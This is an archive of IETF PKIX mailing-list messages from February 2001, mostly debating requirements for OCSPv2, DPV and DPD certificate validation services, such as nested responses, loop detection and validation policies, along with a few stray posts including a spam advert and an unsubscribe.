>I'm confident we share a roughly equivalent facility with ASN.1, but what
>I'm concerned about is how this relates to the ASN.1-level work several of
>us have been engaged on regarding OCSP-based DPV and DPD I-Ds since
>Pittsburg?  I was under the impression that there would ultimately exist a
>high-level requirements document that would govern these
>implementation-level issues and then the various camps would go off and work
>on technical responses to that direction.  In fact, I'm in the process right
>now of doing just based on the rough consensus to date in order to get
>something out to the OCSPv2, DPD and DPV co-authors for their review and
>contributions.

I don't mean to preempt the work you and others have been doing. As 
the requirements discussion has progressed, it has become clear to me 
that we have to be fairly precise in describing them. So, my ASN.1 
description is not intended to be overly proscriptive, but will be 
used to make the requirements more concrete. However, some syntax 
probably does need to be tightly included into the requirements. For 
example, if we want to transparently carry certs and CRLs as an aid 
to servers, and if these are to be extracted from other protocols, 
then it makes sense to specify the syntax in terms of these, 
pre-existing formats. Nonetheless, don't worry about my strawman 
syntax; it's mostly a means of presenting a more concrete description 
of the requirements and I am not tied to it (in most cases).

Steve

Date: Thu, 8 Feb 2001 14:17:28 -0500
To: Peter Sylvester <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: OCSPv2, DPV and DPD issues summary (long)
Cc: [email-masked]

--============_-1230424709==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Peter,

>  >
>  > >5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
>  > >     (OCSP framework already enables recusion)
>  >
>  > For now I don't see the utility of supporting nested responses in
>  > DPV, or DPD. For a DPD server, it should be able to extract any
>  > certs, CRLs, or OCSP responses it receives and pass on the extracted
>  > data. In fact, it may not want to pass one all the data it gets from
>  > another DPD server, i.e., it may winnow it. In case of DPV, we
>  > discussed the fact that the client trusts the DPV server it uses, and
>  > trust is not transitive, so there does not appear to be a need for a
>  > DPV response to convey another DPV response, although a DPV server
>  > may log the responses and save them in case they turn out to be wrong
>  > and the server operator needs to track down the source of the error.
>  > If a DPV server makes use of a DPD server, or vice versa, I think the
>  > arguments above apply. So, for now, I see no need to support nested
>  > responses.
>
>It seems that we are in a real disagreement here: The case that a
>DPV server want to 'log' the responses obtained from another DPV or
>OCSP, is important. It is important that the DPV server can note
>somewhere 'This information is based on a DPV request made at ...',
>and the easiest way to do so is to include the original response.

There is some confusion here. We are in agreement that it would be 
good if each server along a path logged the response from the server 
from which it received a response. That does not require nested 
responses. Nested responses would be needed if we insisted that a 
client needed to be able to assemble this data, rather than relying 
on the DPV server(s) to maintain this data.

>  > >6.  There exists a need for loop detection.          [Sylvester, 1/11/01]
>  > >     (proposed: amend OCSPv2 and DPV I-Ds)
>  >
>  > This still seems like a good requirement, and I'm looking for a
>  > proposal of how to do it.
>
>A strawman proposal:
>
>A requester may add its identity to a
>request. A server that relays a request MUST add his identity*
>to the request. A server SHOULD relay all requesters in relayed
>requests.
>
>When a server detects its own id it SHOULD reject the request.
>
>A server MAY reject a request when it would be forwarded
>to any of the identities already available.
>
>A server may reject a request that contains too many requester
>ids. (defined by local configuration of the server).

OK. A list of IDs of servers that have been involved in processing a 
request seems reasonable. I'm not sure whether the situations Carlin 
notes in his response are ones we need to address, yet.

Steve

--============_-1230424709==_ma============
Content-Type: text/enriched; charset="us-ascii"

Peter,

<excerpt>> 

> >5.  Should DPD response syntax enable recursion?     [Covey,
1/4/01]

> >     (OCSP framework already enables recusion)

> For now I don't see the utility of supporting nested responses in 

> DPV, or DPD. For a DPD server, it should be able to extract any 

> certs, CRLs, or OCSP responses it receives and pass on the extracted

> data. In fact, it may not want to pass one all the data it gets from

> another DPD server, i.e., it may winnow it. In case of DPV, we 

> discussed the fact that the client trusts the DPV server it uses, and

> trust is not transitive, so there does not appear to be a need for a

> DPV response to convey another DPV response, although a DPV server 

> may log the responses and save them in case they turn out to be wrong

> and the server operator needs to track down the source of the error.

> If a DPV server makes use of a DPD server, or vice versa, I think the

> arguments above apply. So, for now, I see no need to support nested 

> responses.

It seems that we are in a real disagreement here: The case that a

DPV server want to 'log' the responses obtained from another DPV or

OCSP, is important. It is important that the DPV server can note

somewhere 'This information is based on a DPV request made at ...',

and the easiest way to do so is to include the original response. 

</excerpt>

There is some confusion here. We are in agreement that it would be good
if each server along a path logged the response from the server from
which it received a response. That does <underline>not</underline>
require nested responses. Nested responses would be needed if we
insisted that a client needed to be able to assemble this data, rather
than relying on the DPV server(s) to maintain this data. 

<excerpt>> >6.  There exists a need for loop detection.         
[Sylvester, 1/11/01]

> >     (proposed: amend OCSPv2 and DPV I-Ds)

> This still seems like a good requirement, and I'm looking for a 

> proposal of how to do it.

A strawman proposal:

A requester may add its identity to a

request. A server that relays a request MUST add his identity*

to the request. A server SHOULD relay all requesters in relayed

requests. 

When a server detects its own id it SHOULD reject the request. 

A server MAY reject a request when it would be forwarded

to any of the identities already available. 

A server may reject a request that contains too many requester

ids. (defined by local configuration of the server). 

</excerpt>

OK. A list of IDs of servers that have been involved in processing a
request seems reasonable. I'm not sure whether the situations Carlin
notes in his response are ones we need to address, yet.

Steve 

--============_-1230424709==_ma============--

From: Adam Maher <[email-masked]>
To: "[email-masked]'" <[email-masked]>
Cc: Adam Maher <[email-masked]>
Subject: Sales
Date: Thu, 8 Feb 2001 16:07:04 -0000 

       Currently we have on offer lay flat water delivery hose 6".  Large
quantity's are available at very reasonable price's the more you buy the
cheaper it get's

********************************************************** 
Privileged/Confidential Information may be contained in this message. 
If you are not the addressee indicated in this message (or responsible 
for the delivery of this message to such person), you may not copy 
or deliver this message to anyone. 
In such case, you should destroy this message and kindly notify the 
sender by reply Email. Please advise immediately if you or your employer 
does not consent to Internet Email for messages of this kind. 

Opinions, conclusions and other information in this message that do not 
relate to official business of J.T. Leavesley Ltd or its Group/Associated 
Companies shall be understood as neither given nor endorsed by them. 

J.T. Leavesley Ltd 
Registered in England. 
Registered Number 481586 
Registered Office Ryknield House, Alrewas, Burton Upon Trent, Staffs DE137AB

Telephone 01283 791555 Facsimilie 01283 791500 
********************************************************** 

To: IETF-Announce: ;
Cc: [email-masked]
From: [email-masked]
Reply-to: [email-masked]
Subject: I-D ACTION:draft-ietf-pkix-new-part1-04.txt
Date: Thu, 08 Feb 2001 07:25:17 -0500
Sender: [email-masked]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Certificate 
                          and CRL Profile
	Author(s)	: R. Housley, W. Ford, W. Polk, D. Solo
	Filename	: draft-ietf-pkix-new-part1-04.txt
	Pages		: 118
	Date		: 07-Feb-01
	
This is the fourth draft of a specification based upon RFC 2459.
When complete, this specification will obsolete RFC 2459.  This
specification includes minor edits and clarifications.  The most
notable departures from RFC 2459 are found in Section 6, Path
Validation.  In RFC 2459, the reader was expected to augment the path
validation algorithm, which concentrated upon policy processing, with
information embedded in earlier sections.  For example, parameter
inheritance is discussed in Section 7, Algorithm Support, and can
certainly affect the validity of a certification path.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-04.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-new-part1-04.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[email-masked].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-new-part1-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[email-masked]"

Content-Type: text/plain
Content-ID:	<[email-masked]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-new-part1-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-new-part1-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[email-masked]>

--OtherAccess--

--NextPart--

Date:   Thu, 08 Feb 2001 11:13:31 +0200
From: Jyri-Pekka =?iso-8859-1?Q?T=E4htinen?=  <[email-masked]>
Organization: SmartTrust Ltd.
To: "[email-masked]" <[email-masked]>
Subject: unsubscribe

unsubscribe

Date: Wed, 07 Feb 2001 17:59:27 -0700
From: "Bob Jueneman" <[email-masked]>
To: <[email-masked]>, <[email-masked]>
Subject: Spam problems

Paul, I've only recently been made aware of the services of www.spamcop.com.  They will allow you to drag and drop the mime.822 header information of a message onto their web site, process it by looking up the claimed names vs the IP addresses, and decide whether or not the mail is likely to be spam.  They will tell you whether their filters would have caught that particular sender or not, and they also provide a way to  send a notification back to the real network administrator.  According to them, replying back to the "take me off your list" address does nothing but increase the value of your name to them.

In addition to this free service, they also offer an e-mail screening service that will hold suspected spam for a week, providing an opportunity for you to review and release it.  I didn't check the cost, but you might want to consider using their services to scrub some of the junk that has been coming across recently.  

So far as I can tell, this wouldn't block cross-posters or other legitimate users, unlike the approach of requiring users to be preregistered.

Bob

>>> Paul Hoffman / IMC <[email-masked]> 02/06/01 02:34PM >>>
At 11:52 AM -0800 2/6/01, Shashi Kiran wrote:
>Can't we stop spam on this mailing list, by applying filters?

Yes, at the cost of not allowing cross-posting from other IETF lists 
and of delaying postings from people who send mail from more than one 
address. So far, the WG chairs have chosen not to make that 
restriction. As list administrator, I act on their wishes.

Date: Wed, 07 Feb 2001 13:57:48 -0500
To: [email-masked]
From: Ari Kermaier <[email-masked]>
Subject: CMP proof-of-possession question

For CMP proof-of-possession of private key performed using an encrypted 
challenge-response protocol: What is the purpose of including the sender's 
General Name in the encrypted challenge? (See rfc2510bis Section 3.2.8, 
POPODecKeyChallContent)

Ari Kermaier
Phaos Technology

From: "Carlin Covey" <[email-masked]>
To: "Peter Sylvester" <[email-masked]>, <[email-masked]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Date: Wed, 7 Feb 2001 11:11:10 -0700
Importance: Normal

Peter,

Please see my comments below.

<snip>

> >6.  There exists a need for loop detection.          [Sylvester, 1/11/01]
> >     (proposed: amend OCSPv2 and DPV I-Ds)
>
> This still seems like a good requirement, and I'm looking for a
> proposal of how to do it.

A strawman proposal:

A requester may add its identity to a
request. A server that relays a request MUST add his identity*
to the request. A server SHOULD relay all requesters in relayed
requests.

[Carlin]  I'd like to add just a bit of clarification.  In response
          to a request, a DPV or DPD server may initiate an OCSP request.
          This OCSP request would not need to include the requester's ID
          for the purposes of loop detection (but perhaps for billing),
          because the OCSP server will not relay a request to another
server.
          The requester would add its identity to any DPV or DPD requests
          (with respect to the same target certificate [see ** below]) that
          it relays to another server.

When a server detects its own id it SHOULD reject the request.

[Carlin]  It isn't terribly efficient, but I suppose that a DPV or DPD
          server might relay a request to itself to deal with another part
          of the certificate chain.  I guess the "SHOULD" doesn't
          disallow that.

A server MAY reject a request when it would be forwarded
to any of the identities already available.

[Carlin]  ** It is possible that a request may be relayed through another
          server back to the same server to deal with another part of the
          certificate chain.  Perhaps this should be allowed, at least in
          some circumstances.  (In the presence of cross certification,
          there may exist certificate chain loops that do not pass through
          any of the requester's trust anchors.  The mechanism for dealing
          with this should be independent of the mechanism for dealing with
          certificate status request loops.)

A server may reject a request that contains too many requester
ids. (defined by local configuration of the server).

From: "Carlin Covey" <[email-masked]>
To: "Stephen Kent" <[email-masked]>, "Michael Myers" <[email-masked]>
Cc: <[email-masked]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Date: Wed, 7 Feb 2001 09:46:43 -0700
Importance: Normal

 <snip>

>4.  Should a DPD server nonce a DPV server?          [Covey, 1/3/01]
>     (Rqmt under study; no consensus to mandate).

odd wording, i.e., making "nonce" into a verb! I have included a 
provision for the client to supply a nonce and a flag to enable a 
client to require that the server use this nonce in OCSP requests it 
issues on behalf of the client. if not invoked by the client, the 
server is free to use cached OSCP responses, or to supply its own 
nonce in an OCSP request. the text of the RFC should discuss the 
implications of this.

[Carlin]  Steve, I'm afraid that I am the party guilty of the 
          "verbification."  (Now here I have made the noun "verb"
          into the verb "verbify" and then made back the verb back
          into the noun "verbification." ;>} ) As you may recall, the 
          usage of "nonce" as a verb started out in this thread as my 
          tortured play ;>) on the lines from a play, to wit (or perhaps, 
          to half-wit): "to nonce or not to nonce"  [that is the question].
          Perhaps I will later make a verb into a noun to maintain
          verb/noun parity.  ;>)

          Sorry, my tongue sometimes gets wedged in my cheek. Having now 
          pulled it out, I commend with your solution to the relayed nonce 
          problem.

>5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
>     (OCSP framework already enables recusion)

For now I don't see the utility of supporting nested responses in 
DPV, or DPD. For a DPD server, it should be able to extract any 
certs, CRLs, or OCSP responses it receives and pass on the extracted 
data. In fact, it may not want to pass one all the data it gets from 
another DPD server, i.e., it may winnow it. In case of DPV, we 
discussed the fact that the client trusts the DPV server it uses, and 
trust is not transitive, so there does not appear to be a need for a 
DPV response to convey another DPV response, although a DPV server 
may log the responses and save them in case they turn out to be wrong 
and the server operator needs to track down the source of the error. 
If a DPV server makes use of a DPD server, or vice versa, I think the 
arguments above apply. So, for now, I see no need to support nested 
responses.

[Carlin}  I agree that we can postpone (perhaps indefinitely) introducing
          nesting into the DPV and DPD response syntax. 

          I am in favor of, or neutral on, the remainder of the issues
          enumerated in Mike's and Steve's emails.  As the perpetrator
          of issues 4 and 5, I felt obligated to aid in their closure.

Regards,
Carlin

---------------------------

- Carlin Covey
  Cylink Corp.

From: "Michael Myers" <[email-masked]>
To: "Stephen Kent" <[email-masked]>
Cc: <[email-masked]>
Subject: RE: OCSPv2, DPV and DPD issues summary (long)
Date: Wed, 7 Feb 2001 08:32:50 -0800
Importance: Normal

To: Stephen Kent
Subject: RE: OCSPv2, DPV and DPD issues summary (long)

Steve,

A few specific responses embedded below.

Mike

> From: Stephen Kent [mailto:[email-masked]]
> Sent: Tuesday, February 06, 2001 1:28 PM
> To: Michael Myers
> Cc: [email-masked]
> Subject: Re: OCSPv2, DPV and DPD issues summary (long)
>
>
> Mike,
>
> I found your compendium very helpful in preparing the next rev of the
> requirements document. I'll keep this message short by responding
> only to thye summary points:
>
> ><snip>
> >SUMMARY
> >
> >1.  Ambiguity in requirement 2.2 re: single certs    [Covey, 1/2/01]
> >     (Kent to to update rqmts spec)
>
> OK
>
> >2.  Lack of specificity in rqmt 2.2 re: sort order   [Covey, 1/2/01]
> >     (Kent is comfortable with proposal)
>
> OK
>
> >3.  Server usage of data proferred by client         [Covey, 1/3/01]
> >     (Kent to to update rqmts spec)
>
> OK
>
> >4.  Should a DPD server nonce a DPV server?          [Covey, 1/3/01]
> >     (Rqmt under study; no consensus to mandate).
>
> odd wording, i.e., making "nonce" into a verb! I have included a
> provision for the client to supply a nonce and a flag to enable a
> client to require that the server use this nonce in OCSP requests it
> issues on behalf of the client. if not invoked by the client, the
> server is free to use cached OSCP responses, or to supply its own
> nonce in an OCSP request. the text of the RFC should discuss the
> implications of this.

OK.

>
> >5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
> >     (OCSP framework already enables recusion)
>
> For now I don't see the utility of supporting nested responses in
> DPV, or DPD. For a DPD server, it should be able to extract any
> certs, CRLs, or OCSP responses it receives and pass on the extracted
> data. In fact, it may not want to pass one all the data it gets from
> another DPD server, i.e., it may winnow it. In case of DPV, we
> discussed the fact that the client trusts the DPV server it uses, and
> trust is not transitive, so there does not appear to be a need for a
> DPV response to convey another DPV response, although a DPV server
> may log the responses and save them in case they turn out to be wrong
> and the server operator needs to track down the source of the error.
> If a DPV server makes use of a DPD server, or vice versa, I think the
> arguments above apply. So, for now, I see no need to support nested
> responses.

I think we may be out of sync.  I too see no need to address this issue
given that OCSP-based solutions already exist to address these requirements.
See my prior note on this point.

>
> >6.  There exists a need for loop detection.          [Sylvester, 1/11/01]
> >     (proposed: amend OCSPv2 and DPV I-Ds)
>
> This still seems like a good requirement, and I'm looking for a
> proposal of how to do it.

Me too.  It's a very good point Peter brought up.  We'll see what we can do
on the OCSPv2 side.

>
> >7.  Transitive trust and recursion                   [Covey, 1/10/01]
> >     (proposed: amend OCSPv2 and DPV I-Ds)
>
> see recursion discussion and proposed resolution above.
>
> >8.  Should DPD responses be signed?                  [Manger, 1/24/01]
> >     (No, DPD responses do not need to be signed.)
>
> signing is an option in my revised spec.

I have no problems on optional signing from an OCSP perspective.

>
> >9.  A signature is not needed for DPV in all cases.  [Kent, 1/24/01]
> >     (proposed: OCSPv2 and DPV I-Ds will continue to
> >      mandate sigs pending WG discussion and consensus
> >      to the contrary.)
>
> I note the phrase "to the contrary" which is not a good sign :-). In
> your detailed response you suggest that NR is a primary motivation
> for DPV. I don't think the WG discussion supports that assertion,
> though I can't argue with you re what may have been your primary
> motivation. My analysis is that we promote the use of DPV for any
> client that is not PKI aware or that wishes to offload cert
> validation processing. That's what the motivation text has said for
> some time. Given that, NR is not implied as a primary rationale for
> DPV.
>

True, NR is a subset of PKI-based security needs, but source authentication
needs remain.  Also, response signing is mandated in RFC 2560 (at least for
revocation status requests.)  I'm assuming that our work in updating
editorial issues in 2560 as it moves forward excludes substantive changes.
Perhaps as this relates to OCSP it's better to soften this SHALL to a MAY in
the OCSPv2 work?

> >10. Support for non-ASN.1-capable clients            [Hanna, 1/17/01]
> >     (The OCSPv2, DPV and DPD efforts as authored
> >      will not address XML.)
>
> yes, it's dead for now.
>
> >11. Are post-facto queries a requirement?            [Linn, 1/20/01]
> >     (Existing support for post-facto queries in
> >      RFC 2560 will be enhanced in the OCSPv2
> >      and DPV I-Ds.)
>
> my next rev allows a client to request it, but leaves support (or
> support for some time interval) at the discretion of the server.
>
> >12. Updates to I-Ds in response to rqmts             [Pinkas, 1/23/01]
> >     (Pending rqmts consensus and list response to
> >      proposals. Ad-hoc working session(s) in
> >      Minneapolis are likely.)
>
> this is not an input to the requirements spec, but an action item for
> those proposing protocols to meet the spec, right?

Correct.  We held a few in San Diego.

>
> >13. Need for validation controls beyond 2459 rules   [Pinkas, 1/23/01]
> >     (DPD paths should (shall?) be valid.)
>
> I have picked parameters based on Denis's SMIME ESP example, and
> comments from Russ. But, I don't agree with your conclusion in the
> details. We still do not have consensus on whether a client expects a
> valid path from a DPD server, or only a probably valid path. The
> inclusion of revocation status data in the DPD response is easily
> made into a client-specified option. The real issue is whether we
> require a DPD server to be capable of returning the data whenever it
> claims to return a valid path.

The real question is:  "Is a DPD server subject to security architecture
requirements (e.g. Common Criteria), or is it simply an 'untrusted' relay?"
given this requirement.  If the WG can resolve a position to this question,
we'll be quick to closure on the issue.

>
> >14. Ability to mandate name forms in DPD responses.  [Housley, 1/24/01]
> >     (Name constraints are preferable, esp. wrt to
> >      cross certs).
>
> added to the next rev.
>
> the next rev will include a slightly edited motivation discussion. It
> will propose ASN.1 syntax for DPD and DPV client requests and server
> responses, done separately. My ASN.1 will have errors, I am sure, but
> the point of specifying something at this point is to make more
> concrete the data items being exchanged, as well as the processing
> requirements associated with the exchanged data.
>
> I am out at the NDSS this week, so nothing will likely be ready until
> next week. Meanwhile, we have a few open issues that can continue to
> be addressed on the list.

I'm confident we share a roughly equivalent facility with ASN.1, but what
I'm concerned about is how this relates to the ASN.1-level work several of
us have been engaged on regarding OCSP-based DPV and DPD I-Ds since
Pittsburg?  I was under the impression that there would ultimately exist a
high-level requirements document that would govern these
implementation-level issues and then the various camps would go off and work
on technical responses to that direction.  In fact, I'm in the process right
now of doing just based on the rough consensus to date in order to get
something out to the OCSPv2, DPD and DPV co-authors for their review and
contributions.

> Steve

From: Peter Sylvester <[email-masked]>
Date: Wed, 7 Feb 2001 12:47:22 +0100 (MET)
To: [email-masked], [email-masked]
Subject: Re: OCSPv2, DPV and DPD issues summary (long)
Cc: [email-masked]

> 
> >5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
> >     (OCSP framework already enables recusion)
> 
> For now I don't see the utility of supporting nested responses in 
> DPV, or DPD. For a DPD server, it should be able to extract any 
> certs, CRLs, or OCSP responses it receives and pass on the extracted 
> data. In fact, it may not want to pass one all the data it gets from 
> another DPD server, i.e., it may winnow it. In case of DPV, we 
> discussed the fact that the client trusts the DPV server it uses, and 
> trust is not transitive, so there does not appear to be a need for a 
> DPV response to convey another DPV response, although a DPV server 
> may log the responses and save them in case they turn out to be wrong 
> and the server operator needs to track down the source of the error. 
> If a DPV server makes use of a DPD server, or vice versa, I think the 
> arguments above apply. So, for now, I see no need to support nested 
> responses.

It seems that we are in a real disagreement here: The case that a
DPV server want to 'log' the responses obtained from another DPV or
OCSP, is important. It is important that the DPV server can note
somewhere 'This information is based on a DPV request made at ...',
and the easiest way to do so is to include the original response. 

> >6.  There exists a need for loop detection.          [Sylvester, 1/11/01]
> >     (proposed: amend OCSPv2 and DPV I-Ds)
> 
> This still seems like a good requirement, and I'm looking for a 
> proposal of how to do it.

A strawman proposal:

A requester may add its identity to a
request. A server that relays a request MUST add his identity*
to the request. A server SHOULD relay all requesters in relayed
requests. 

When a server detects its own id it SHOULD reject the request. 

A server MAY reject a request when it would be forwarded
to any of the identities already available. 

A server may reject a request that contains too many requester
ids. (defined by local configuration of the server). 

> >7.  Transitive trust and recursion                   [Covey, 1/10/01]
> >     (proposed: amend OCSPv2 and DPV I-Ds)
> 
> see recursion discussion and proposed resolution above.
> 

Date: Tue, 6 Feb 2001 13:34:08 -0800
To: [email-masked]
From: Paul Hoffman / IMC <[email-masked]>
Subject: RE: Save Big on Cleaning Equipment!

At 11:52 AM -0800 2/6/01, Shashi Kiran wrote:
>Can't we stop spam on this mailing list, by applying filters?

Yes, at the cost of not allowing cross-posting from other IETF lists 
and of delaying postings from people who send mail from more than one 
address. So far, the WG chairs have chosen not to make that 
restriction. As list administrator, I act on their wishes.

>Or is this
>paid for by advertisers or something?

That is a very insulting accusation. IMC runs the mailing list for 
this and dozens of other IETF working groups and BOFs as a community 
service. We do not ask or accept payment for it. And we do not 
release the contents of the lists to anyone other than the WG chairs 
(although I rarely give the lists to them either).

>  I'm sure a lot of us would hate to be
>bothered by mails such as these.

Or threads such as this. If you want to ask a question of the mailing 
list administrator or the WG chair, it is best to send a message 
directly to them instead of to the whole mailing list. I have 
responded here mostly because of the disgusting accusation you made.

--Paul Hoffman, Director
--Internet Mail Consortium

Date: Tue, 6 Feb 2001 15:56:55 -0500
To: Denis Pinkas <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: DVD & DVP requirements
Cc: [email-masked]

Denis,

>Steve,
>
>  > My spec requires that the server be able to be configured with these
>  > policies. That will ensure that we have a definition of a minimum
>  > parameter set well defined for all servers.
>
>There are two approaches to define a policy, either by passing all the
>parameters in the request using ASN.1 or by referencing a policy which has
>been defined using e.g. English text. It is much faster to say in English :
>the leaf certificate must have either this field present or that other field
>present with the value X or Y, rather than saying the same thing using
>ASN.1.

It took a while, but I think I see what you're trying to say here. 
Yes, one could describe the policy in a natural language and make it 
available to human users that way, and these users would then employ 
a reference to the policy in a message to the server. But, what I was 
getting at is a requirement for the server to have some (not 
specified) means by which all of the defined parameters for 
validation are configured, i.e., the way the mechanism behind the 
natural language is configured.  The two descriptions are 
complementary.

>  > If we allow for external references, then we have to define a 
>reference format
>
>For external references we do not NEED to define such a reference format,
>plain English is sufficient, unless you prefer plain French. :-)

No, I think it does not suffice. I'll make a concrete proposal: for 
each policy configured on a server, the server will identify the 
policy via an OID. To ensure that the policy is what the user had in 
mind, the natural language format description of the policy will be 
hashed, and that hash will be passed as part of the policy reference. 
yes, I know that we could just use the hash as the id here, but using 
OIDs provides a structure in which one can encode info about where 
the policy comes from, etc. even with this we have the need to 
specify the canonical format for the natural language policy 
representation.

>
>  > (do you already have one in mind?), select a protocol and format 
>for transport of the parameters, etc.
>
>I do have in mind such a format which has been defined ASN.1. It could be
>used for describing the format as a parameter.
>
>You could derive it from a subset of the Electronic Signature Policies
><draft-ietf-smime-espolicies-00.txt>
>
>Here is a copy of sections which could be useful to define some (not all !)
>conditions:

Great. This seems to be a good set of parameters and I'll use that in 
the revised spec. The one change I envision is not requiring the 
trustpoint cert to be self-signed.

><snip of ASN.1>

>
>  > So, while it may be OK to have external references,
>
>Fine. On that point we both agree.
>
>  > I really want to keep the local config requirement as a base, and
>
>I am confused with the term that you use :"local configuration requirement".
>If the parameters, passed at the time of the request, define the validation
>policy then there is no such local configuration.
>
>Do you have in mind a protocol where you could define with one call the
>validation policy and then in another call ask for the validation using a
>refrence to that policy ? If so, I agree.

No, I am not mandating the ability for remote configuration of 
policies. The choices I envision are to pass in all the parameters, 
or to refer to a registered policy, known to the server, that has the 
same parameter choices.

>
>In that case, I would understand what a local configuration is, and then
>both calls would look the same.
>
>The case where the validation policy is referenced would have one call,
>while the case where the validation policy is locally defined would have two
>calls.

see my explanation above.

>
>  > I think the addition of external references adds complexity.
>
>Validation policies passed as a parameter add complexity.

True.

>
>  > >  > but only to the extent that the policies make use of standard
>  > >  > cert attribute validation parameters.
>  > >
>  > >Validation policies may include more controls than specified in 
>RFC 2459bis.
>  > >If these validation policies are defined using external 
>references, then it
>  > >is easy to point to them and thus avoids to describe them at the interface
>  > >level.
>  >
>  > Yes, and that leads to potential ambiguities and potentially
>  > undefined server operation.
>
>Not exactly. See above.

If the policies are NOT locally configured at the server, then we 
need a way to map a policy ID into a locator for the policy, and we 
have even more opportunities for processing to fail. I can see the 
error message displayed for the user: "Validation failed: unable to 
acquire referenced policy. Policy server unavailable ..."

>
>  > >  > To do what you propose would
>  > >  > require adding support for private extensions at the server and
>  > >  > perhaps in client requests.  This could be done if the WG wants, but
>  > >  > it would be a supplement to the mandatory, 2459bis validation
>  > >  > criteria.
>  > >
>  > >Describing parameters additional to the traditional validation algorithm
>  > >described in RFC2459, is indeed not that easy. For simplicity, these
>  > >addtional parameters should be limited to indicate conditions on the leaf
>  > >certificates.
>  >
>  > I'm not comfortable with pushing the problem under the rug in this
>  > fashion. We all love the power of indirection, but the reason I
>  > called for server config of parameters was to ensure that we had a
>  > well-defined list and that a compliant server implementation could be
>  > managed based on that list, without reference to some vendor-specific
>  > mechanisms.
>
>There is nothing such as "endor-specific mechanisms", but more "specific
>validation policies".

Let's end the debate and just specify a set now.

>  > >As a summary:
>  > >
>  > >1) Using validation policy references allows a simple interface and hides
>  > >the details (and complexity) of the validation policy.
>  >
>  > Are you suggesting that we not have a facility for the client to pass
>  > in validation parameters, but only have references to policies, or
>  > are you proposing external references in addition to explicit
>  > parameters in the request? I'm not sure I want to hide details of the
>  > policy. I think references to a policy are attractive as a means of
>  > centralizing management.
>  >
>  > >2) Using an explicit validation policy by describing all the parameters at
>  > >the interface level is more complex and in any case will have some
>  > >limitations when compared to referenced validation policies. I agree with
>  > >Steve, that it would be a supplement to the mandatory 2459bis validation
>  > >criteria.
>  >
>  > Not sure I know how to parse this last sentence, although I think I
>  > sense an overall disparagement of support for explicit parameters,
>  > which I still think is necessary.
>
>Explicit validation policies passed as a parameter are more complex. Now
>this is not a reason of not supporting them.
>
>So I am advocating the support of both cases:
>
>a) explicit validation policies AND
>b) referenced validation policies,

My revised proposal will support both, although you may not like the 
policy ID format.

Steve

Date: Tue, 6 Feb 2001 16:28:08 -0500
To: "Michael Myers" <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: OCSPv2, DPV and DPD issues summary (long)
Cc: <[email-masked]>

Mike,

I found your compendium very helpful in preparing the next rev of the 
requirements document. I'll keep this message short by responding 
only to thye summary points:

><snip>
>SUMMARY
>
>1.  Ambiguity in requirement 2.2 re: single certs    [Covey, 1/2/01]
>     (Kent to to update rqmts spec)

OK

>2.  Lack of specificity in rqmt 2.2 re: sort order   [Covey, 1/2/01]
>     (Kent is comfortable with proposal)

OK

>3.  Server usage of data proferred by client         [Covey, 1/3/01]
>     (Kent to to update rqmts spec)

OK

>4.  Should a DPD server nonce a DPV server?          [Covey, 1/3/01]
>     (Rqmt under study; no consensus to mandate).

odd wording, i.e., making "nonce" into a verb! I have included a 
provision for the client to supply a nonce and a flag to enable a 
client to require that the server use this nonce in OCSP requests it 
issues on behalf of the client. if not invoked by the client, the 
server is free to use cached OSCP responses, or to supply its own 
nonce in an OCSP request. the text of the RFC should discuss the 
implications of this.

>5.  Should DPD response syntax enable recursion?     [Covey, 1/4/01]
>     (OCSP framework already enables recusion)

For now I don't see the utility of supporting nested responses in 
DPV, or DPD. For a DPD server, it should be able to extract any 
certs, CRLs, or OCSP responses it receives and pass on the extracted 
data. In fact, it may not want to pass one all the data it gets from 
another DPD server, i.e., it may winnow it. In case of DPV, we 
discussed the fact that the client trusts the DPV server it uses, and 
trust is not transitive, so there does not appear to be a need for a 
DPV response to convey another DPV response, although a DPV server 
may log the responses and save them in case they turn out to be wrong 
and the server operator needs to track down the source of the error. 
If a DPV server makes use of a DPD server, or vice versa, I think the 
arguments above apply. So, for now, I see no need to support nested 
responses.

>6.  There exists a need for loop detection.          [Sylvester, 1/11/01]
>     (proposed: amend OCSPv2 and DPV I-Ds)

This still seems like a good requirement, and I'm looking for a 
proposal of how to do it.

>7.  Transitive trust and recursion                   [Covey, 1/10/01]
>     (proposed: amend OCSPv2 and DPV I-Ds)

see recursion discussion and proposed resolution above.

>8.  Should DPD responses be signed?                  [Manger, 1/24/01]
>     (No, DPD responses do not need to be signed.)

